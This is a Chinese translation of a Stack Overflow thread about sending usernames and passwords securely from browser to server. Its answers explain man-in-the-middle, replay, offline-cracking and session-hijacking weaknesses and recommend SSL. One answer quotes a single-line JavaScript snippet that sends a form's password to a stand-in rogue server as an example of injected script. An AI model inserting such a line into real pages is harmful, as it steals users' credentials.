Web身份验证 - 如何安全地将用户名/密码从客户端传输到服务器

时间:2012-01-25 19:29:23

标签: javascript security authentication encryption passwords

我正在尝试启动一个Web应用程序(Java)。用户需要登录系统才能使用这些功能。所以这个应用程序有两个部分:
1)用户注册
2)登录
我担心的是我将用户名/密码数据从网络浏览器传输到服务器的方法是多么安全。

注册

我很遗憾,因为我不确定如何安全地将数据从网络浏览器发送到服务器。

登录

我有以下设置:

<< 客户>> -------------------------------------------------- ----<< 服务器>>
 [请求令牌] -------------------------------------- -----------------------的>>
 << -------------- [从会话ID发送一个randomely生成的令牌]  [客户端计算 hashedSecret = SHA1(令牌+ SHA1(密码))]  [发送数组:[用户名,hashedSecret] ] --------------------------------- - 的>>
[服务器从数据库中查询用户名的SHA1(密码)] [服务器计算 expectedSecret = SHA1(令牌+ SHA1(密码))] [服务器将hashedSecret与expectedSecret 进行比较]

我想知道的是如何安全注册用户以及我的登录是否足够安全
感谢

3 个答案:

答案 0 :(得分:8)

似乎......过于复杂。只需使用SSL,它就是行业标准,对银行来说已经足够了。

答案 1 :(得分:8)

当然,它是否“足够安全”只是您可以作为系统所有者回答的问题。如果您的预期对手不熟练且没有动力,并且身份验证失败的影响很小,那么就是这样。如果您要保护任何具有重要价值的东西,那么它可能不是一个足够安全的解决方案。

以下是一些可能容易受到攻击的攻击媒介。

中间人攻击:

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates

窃听者侦听客户端的身份验证响应,然后将其中继到服务器。服务器验证其正确性并验证窃听者。

脱机密码哈希攻击

可以在客户端和服务器之间读取消息的窃听者将拥有用于生成哈希的令牌和逻辑(来自JavaScript)。因此,攻击者会知道H(token + H(password))tokenH(x),其中H是加密哈希算法(SHA1)。

然后,攻击者可以针对客户端响应运行字典攻击来猜测密码,攻击者可以尝试使用字典攻击和类似方法离线破解密码。由于攻击者不需要对服务器进行身份验证,而是可以离线破解密码,因此可以快速破解中等弱密码。

修改传输中的服务器消息

客户端无法保证服务器消息的完整性,并且可能会在传输过程中修改消息。例如,恶意中介可以在HTML页面中插入一行JavaScript,通过DOM拦截密码并将其发送到恶意服务器。 (例如,流氓中介可能会在表单提交方法中插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value。)

重播攻击

如果服务器令牌以足够的频率重复,则窃听者可以捕获成功的令牌/响应对。然后,攻击者可以发出大量令牌请求,等待已知令牌被回收。然后,攻击者将已知的令牌响应重播到服务器。服务器将攻击者的响应与预期的响应进行比较,并对攻击者进行身份验证。

身份验证后攻击

会话通过身份验证后,客户端和服务器消息将继续以明文形式发送。攻击者可能会使用客户端的会话cookie作为经过身份验证的客户端进行会话劫持攻击。攻击者还可能拦截服务器和客户端之间的机密数据,或者更改传输中的数据,从而危及客户端/服务器通信的机密性,完整性和不可否认性。例如,客户端可能会发送响应以执行BenignAction,攻击者在传输过程中将其更改为GetSecretData。然后攻击者读取表面上包含秘密数据的响应。

这就是说,所提出的方法可能不比以明文方式发送密码更安全。如果担心安全问题,那么将SSL与来自可信CA的证书一起使用(实际意图)可以有效地防止所有这些攻击。

答案 2 :(得分:0)

@Quentin发布说,SSL在今天的行业中很好用,而且使用的是什么。这是最容易实现的安全方法,但对我来说,它只能获得C等级或更安全。银行应用程序和其他网站使用更强大的安全方法,具体取决于您尝试保护的信息。

例如,StackOverflow.com使用标准POST表单来创建用户并通过SSL保护流量。这对于仅是社区知识库站点的站点来说已经足够了。示例POST:

POST https://stackoverflow.com/users/login-or-signup/validation/track         
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Host: stackoverflow.com
Content-Length: 240
Connection: Keep-Alive
Cache-Control: no-cache

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign
另一方面,银行,如富国银行应用程序,将二进制序列化,私有客户端密钥加密,以及SSL形式流量。它有点类似于&#34;安全性由Obscurity&#34;,但它比SSL更好。我的2Cents。干杯!